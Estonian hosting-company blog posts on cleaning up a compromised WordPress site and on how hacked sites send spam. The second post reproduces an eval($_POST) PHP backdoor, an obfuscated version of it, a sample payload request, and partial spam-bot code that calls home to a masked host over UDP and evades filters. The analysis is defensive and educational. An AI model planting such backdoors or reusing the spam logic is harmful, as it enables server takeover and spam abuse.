Nimelt on keegi teinud muudatuse plugina failides – ja kui kommentaari uskuda, läheb mingi asi sellepeale katki. WPML kirjutatud kenasti modulaarsena ja probleemi kõrvaldamiseks oleks võinud oma teema koodi lisada vastava remove_action käsu… aga seadpuhku siis sedapsi.

Õnneks hakkasin ma seepeale uurima, et miks on umbes 10 lehe, ühe vormi ja ühe annetus-nupuga veebil üldse toodete import. Ilmnes, et kunagi oli plaanitud oluliselt suuremat veebi – WooCommerce e-poe-plugin, seda toetav vinge kujundusteema ning kõik selle poolt soovitatud pluginad. Kokku 28 pluginat, millest vaja oli kaheksat.

Mitte-vajalike hulgas oli aga näiteks Ninja Forms, mis tänavu mais sisaldas näiteid praktiliselt kõigist turva-augu-liikidest sh suvaliste failide üleslaadimine (vaid SQLi oli üllatuslikult puudu). Miks? Sest ninjad olid ühiskonna hüvanguks pannud pluginaga kaasa ka versiooni 3 beeta-koodi.

Kõige käsitöörohkem on minu jaoks aga tasuliste teemade kasutamine – kõigepealt ei õnnestu harilikult leida kasutatud versiooni faili, kohandamine on tehtud mitte alam-teemana vaid teema enda faile muutes … ja ilmselt pole suuremat lootust saada tegijatelt litsentsikoodi või loginit, mis võimaldaks alla laadida värsket teemat.

Kuna ma usun inimeste headusesse, siis eeldan, et tegemist on mõne varasema kliendi jaoks päriselt ostetud teemaga mida GPL litsentsi tõttu võibki edasi jagada. Ja vahest on lihtsalt läbi saanud aastane toe-periood, mille käigus uuendusi sai laadida. Aga vingete ja kasutaja poolt tuunitavate teemadega käivad sageli kaasas ka vinged pluginad – nt Visual Composer või Slider Revolution – koos oma turva-aukudega, aga ilma iseseisvalt uuendamise võimaluseta.

Skeptiline pool minust nõuab sellise teema fail-haaval läbi kammimist, sest olen kohanud ka kahtlastest kohtadest allalaetud piraatversioone koos eelpaigaldatud pahavaraga. Rääkimata sellest, et suvaline mitteuuendatava teema fail on ideaalne koht oma pahavara peitmiseks.

Kuna eesmärk oli saada aru kellegi teise tehtud veebide loogikast, võtta kood üle oma arenduskeskkonda, leida pahalased ka mittekasutatud pluginates (et saaks politseile vajadusel näited saata), vaadata üle logid, eemaldada kõik mittevajalik, uuendanda pluginad ja PHP-versioon, viia kaks veebi üle HTTPS peale, kontrollida nende toimivust ning parandada tekkinud konfliktid, siis tiksus kokku umbes 16 tundi (sedapuhku vabahtlikku ja loodetavasti Maksuameti silmis ühiskasulikuks kvalifitseeruvat) tööd.

Miks nii kaua läks? Selline oli pilt hetkel, kui pool tööd oli tehtud ehk turvaprobleemid kõrvaldatud. Nüüd tuleks kõik see kaunidus uuesti tööle kah panna – vajadusel lappides kujundusteemat ja proovides aru saada sellest, kust tuleb parempoolse menüü tekst (vihje: ei tule menüüst) või esilehel olevad lingid:

deprecated

Mis meelde jätta: vähegi keerulisema veebi puhastamine nii, et see ka puhastatuks jääb, on töömahukas ettevõtmine.

Kas jääb nüüd pidama, annad garantii?

Kuna saidi ülevõtjal on omad ärihuvid – või tekitab käesolev tekst kelleski sportliku huvi – siis olen ma siinkohal ettevaatlik. Aga jälgime mängu – ning osa ajakulust sai pandud ka selle peale, et järgmine ülevõtmine võimalikult raske oleks. Mis ma selleks tegin?

  • versioonihaldus – kogu veebisaidi kood on GIT versioonihalduses, täpsemalt bitbucket.org teenuses; kõik edaspidised muudatused (mida teen mina või kesiganes tahab selle projekti üle võtta) on omavahel krüptograafiliselt seotud ning isegi kui keegi peaks suutma seal midagi muuta, siis on võimalik see tuvastada
  • deployment – repositooriumist veebiserverisse läheb kood kasutades deployhq.com teenust; kui ülevõtmine peaks korduma, siis ma saan mõne klikiga laadida üles puhta versiooni – ning siis tegeleda täpse sissemurdmiskoha tuvastamisega
  • Zone+ – mõlemad veebid on imporditud meie Installatroni-süsteemi, mis sunnib jõuga peale versiooniuuendused; sorry, kui midagi katki läheb seetõttu – vähemalt hoiame ära suurema jama
  • paroolid vahetatud – andmebaasiparoolid, WordPressi loginid jne (loodame, et kasutajad valivad endale turvalised paroolid)
  • https – kõik saidid kasutavad nüüd Let’s Encrypt sertifikaate ja turvalist https ühendust, vältimaks paroolide lekkimist ja kasutajate liikluse sisu jälgimist
  • veidike .htaccess-maagiat – väikeste nippidega saab piirata PHP-koodi käivitamise kohtades, kuhu on tavaks pahavara paigutada
  • jälgin logisid – sealt näeb loodetavasti varsti ära, kes millist tagaust otsima tuleb
  • veel mõned nipid – ega ma kõigest siin ei räägi kah, vahest hiljem kui tulemuses kindel olen 🙂

Küsimusi on? Lase käia! Küsi siinsamas või kirjuta peeter@zone.ee 🙂

Kuidas “häkitud” veebid spämmi saadavad?

Tihti juhtub, et veebilehed “häkitakse” ära ja seejärel hakkab tulema kaebusi, et konkreetse veebiserveri kaudu saadetakse spämmi. Mida see aga praktikas tähendab?

Algab kõik sellest, et spämmer leiab veebiserverist automatiseeritud tööriistade mõne tuntud turvaaugu. Just nimelt automatiseeritud, sest mitte ükski spämmer ei käi ükshaaval veebilehti läbi vaatamas, kõik toimub automaatselt. Ning pole oluline kui vähetähtis või väheste külastajatega või mis keeles rünnatav veebileht on, sest reeglina ei ole sihtmärgiks mitte veebileht, vaid serveriressurss, mis sellele veebilehele eraldatud on. Järgmise sammuna sokutab spämmer turvaauku ära kasutades mõnda PHP faili (näiteks /templiidid/ammu-enam-ei-kasuta/jalus.php) järgmise, üsna süütuna näiva rea:

eval($_POST['UIOV61']);

Tavaliselt küll on see rida veidi hägustatud kujul, et seda liiga kerge tuvastada poleks. Näiteks ei loeta muutuja sisu otse õigest kohast, vaid pannakse see kuidagi keerulisemalt kokku, näiteks nii:

$m='_'.strtoupper(join('', array_reverse(array('t','s','o','p'))));
eval(${$m}['UIOV61']);

Selline kood teeb täpselt sedasama, mida eelminegi näide, kuid $_POST muutuja kasutamine on nüüd silma eest ära peidetud. Konkreetne näide on imetud virtuaalsest pastakast, kuid selles suhtes väga vahet polegi, et kuidas täpselt seda tegevust peita – võimalusi on mustmiljon ning kõik need leiavad ka kasutust.

Siinkohal võikski nagu loole punkti panna, spämmer on kodulehele sisse saanud ja teinud oma pahanduse, ühtegi muud veebilehe faili spämmer enam ei puutu ja sellega olekski lugu läbi. Paraku siiski siin lugu alles algab, sest selle rea lisamisega on meie veebiserver liidetud passiivse osalisena mõnda suurde botneti. Nimelt võimaldab eval()funktsioon käivitada suvalist PHP koodi ning kõige tavalisema POST päringu abil saab ette anda tolle käivitamisele mineva $_POST muutuja sisu. Edasi polegi muud, kui oodata “keskuselt” käsklusi, kus tolle häkitud PHP faili pihta tehakse POST päring muutujaga “UIOV61”, mille sisuks on käivitamisele minev kood.

POST /templiidid/ammu-enam-ei-kasuta/jalus.php HTTP/1.1
Host: meieveebileht.ee
Content-length: 12345

UIOV61=%24indata%20%3D%20new%20stdClass()%3B[...]

Järgnev ongi reaalne spämmimiskatse, mis sarnase tagaukse kaudu toimus. Tegu on sisuliselt omaette rakendusega, millel “peremees”-veebilehega igasugune seos puudub, veebiserveri jaoks on see nagu iga teine PHP kood, mida käivitada tuleb. Täpsemalt proovib rakendus saata tundmatutele isikutele meie serverist spämmi ja vaatlemegi lähemalt, et mida spämmeri rakendus selle eesmärgi nimel ette võtab.

Rakenduse alguses kirjeldatakse ära spämmikirja andmed ning potentsiaalsed adressaadid. Nagu näha on tegu vana tuttava sisuga, millist on täis pea iga spämmikaust.

$indata->subj = "Re:  Hiya";
$indata->html = "<div>Hiya, I'm a lonesome  girl, searching real person[...]
...
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@yahoo.com');
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@gmail.com');

Nüüd vaatab spämmer, et millist võrguühenduste funktsionaalsust konkreetne PHP installatsioon pakub. Seda teadmist on vaja, et hiljem korrektselt võrguühendusi avada.

if (function_exists('fsockopen'))[...]
elseif(function_exists('socket_create')[...]
elseif(function_exists('stream_socket_client')[...]

Täiendavalt koostab spämmer ka funktsiooni connect, mis avab leitud sobiva meetodi abil nii TCP kui ka UDP ühendusi. Seda koodi lahti kirjutama ei hakka, midagi huvitavat selles pole. Küll aga peame teadma, et see on olemas, kuna seda funktsiooni läheb edaspidi tarvis.

$repsock->connect("udp", "now.******.com", 9141, 10, true);

Ja ongi esimene välisühendus avatud, kuid meie üllatuseks on tegu hoopis UDP protokolliga. Selle kaudu aga spämmi saata ju ei saa? Tuleb välja, et spämmer tahab teada kuidas tema spämmirakendusel läheb ja tagasiside saamiseks saadab ta üle UDP oma keskserverisse igasugust debug ja muud huvitavat infot. Kohe algatuseks saadabki spämmer endale järgmise paketi (5760704 on sessiooni võti):

$repsock->send("Bcnf :: Start :: 5760704 :: (0)")

(Konkreetne kood on loetavause mõttes lihtsustatud, kuna tegelikult näeb UDP pakett välja teistsugune, vajaliku teisenduse teeb ära spämmeri koostatud funktsioon, mida ei hakka eraldi välja tooma.) Samasuguseid teateid saadetakse rakenduse igal sammul ning rohkem neist võibolla juttu ei hakkagi tegema.

Samas toimub ka süsteemsest /tmp kaustast ühe kindla faili lugemine (juhul muidugi, kui selline fail on juba olemas) ning sellest andmete sisselugemine. Mis info see täpselt on, seda vaatame veidi hiljem. Jätame selle andmete laadimise fakti momendil lihtsalt meelde.

Nüüd läheb rakendus tsüklisse, kus ükshaaval võetakse ette kõik potentsiaalsed spämmi saajad. Selline “individuaalne lähenemine” tähendab muu hulgas seda, et spämmi saaja ilutseb kenasti üksinda kirja To: real, mitte ei ole kiri adresseeritud korraga anonüümsele undisclosed-recipients:; grupile, kus kõik tegelikud adressaadid on peidetud BCC reale.

Esimese asjana on spämmeril vaja tuvastada adressaadi MX e-posti server. Selle jaoks on tarvis teha DNS päring – alguses MX kirje või selle puudumisel A kirje leidmiseks. DNS päringuid saab teha samuti mitut moodi ja kõigepealt proovib spämmer leida vajalikud kirjed getmxrr funktsiooni abil. Juhul kui seda funktsiooni ei ole lubatud kasutada, on spämmer koostanud alternatiivse variandina omaenda DNS kliendi, mis üle UDP ühenduse 8.8.8.8:53 nimeserveri pihta kõik vajaliku ise selgeks teeb. Juhul kui ka UDP päringuid teha ei saa, proovib spämmer viimase võimalusena gethostbyname funktsiooni.

// Spämmer DNS päringu paketti kokku panemas
$this->tid = rand(0x0001, 0xFFFE);
$this->req_data = pack("nnnnnn", $this->tid, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);

Kui MX server on teada, siis võib selle adressaadiga edasi liikuda. Nüüd hakkab spämmer adressaadi jaoks e-posti kirja lähteandmetest kokku panema. Ikka nii, et adressaat üksi istub To: real ning ka ülejäänud kiri näeb vormistuselt korrektne välja, et spämmikontrolli sellega eksitada.

"From: ".$indata->m_fromh."\r\n".
"Reply-To: ".$indata->repto."\r\n".
"Message-ID: <".$indata->list[$key]->mess_id.">\r\n".
"To: ".$indata->list[$key]->mh."\r\n".
"Subject: ".$indata->list[$key]->subj."\r\n".
"X-Priority: 3 (Normal)\r\n".

Kui kiri on kokku pandud, üritab spämmer seda ära saata, proovides avada porti 25 adressaadi e-posti MX serverisse, mis kirjade vastuvõtmisega tegeleb.

$sock->connect("tcp", $indata->list[$key]->mx_ip, 25, 10, true)

Spämmirakenduse SMTP protokolli kasutus on korrektne ning juhul kui vastuvõttev server toetab STARTTLS laiendust ühenduse krüpteerimiseks, proovib spämmer seda ka kenasti kasutada, eksitades sellega nii spämmikontrolli kui ka kaotades Gmaili puhul kirja juurest punase tabaluku ikooni.

Alati võib juhtuda, et server miskipärast sellest kirjast keeldub. Põhjuseid võib jälle olla mustmiljon, kuid spämmer ei jäta midagi juhuse hooleks. E-kirjadest keeldumise põhjuste kirjeldamisega on tänapäeval lugu üsna segane. Suhteliselt kindlalt võib arvata, et juhul kui vastuskood on 5xx, siis keeldub server kirjast lõplikult, aga kui see on 4xx, siis võib mõne aja pärast uuesti saata. Samas, iga tagasilükkamine pole võrdne, eksisteerib igasuguseid erandeid. Spämmer on seetõttu enamlevinud veebiteenuste vastusteated ära kirjeldanud, et mida selle puhul siis teha. Näiteks juhul kui tegu on AOL serveriga ja vastuseks tuleb järgmine teade, siis võib eeldada, et konkreetne veebiserver on AOL jaoks mustas nimekirjas (‘bl’ reegel) ja sellest serverist AOL’i kirju saata pole enam mõtet.

array(
  ".mx.aol.com" => array(array(array(
    1
  ),
  '^554[ \-].*ESMTP not accepting connections',
    'bl'
  ), [...]

Kuid nagu juba mainitud, siis iga tagasilükkamine pole sugugi võrdne ja ka 5xx veateate korral võib mõnel juhul uuesti proovida. Näiteks iCloud serveri jaoks on spämmeril järgmine reegel, mis suunab 550 vea korral kirja hoopis nn.greylisti (‘gl’ reegel):

array(
  ".icloud.com" => array(
    3
  ),
  '^550[ \-]5\.7\.0.*Blocke',
    'gl'
  ), [...] 

Kui kõik adressaadid on sarnasel viisil läbi käidud, võikski loole punkti panna, aga ikka ei saa me seda teha. Mäletatavasti avas spämmer rakenduse alguses mingi faili, aga milleks see siis vajalik oli?

Sellesse faili paneb spämmer kirja järgmisteks käivitusteks vajaliku info. Näiteks selle, et millise aadressi jaoks millist MX kasutada saab või et milline MX server on selle saatja ära blokkinud jne. Lisaks pannakse kirja ka viited greylistitud kirjadele ning nende uuesti saatmise intervall. Juhul kui spämmirakendus kunagi hiljem uuesti käima läheb, taastatakse nii greylistud kirjade info ja kui eelmisest saatmisest on möödas nõutud intervall, siis proovibki spämmer seda kirja uuesti saata. Ja seekord eeldatavasti juba edukalt.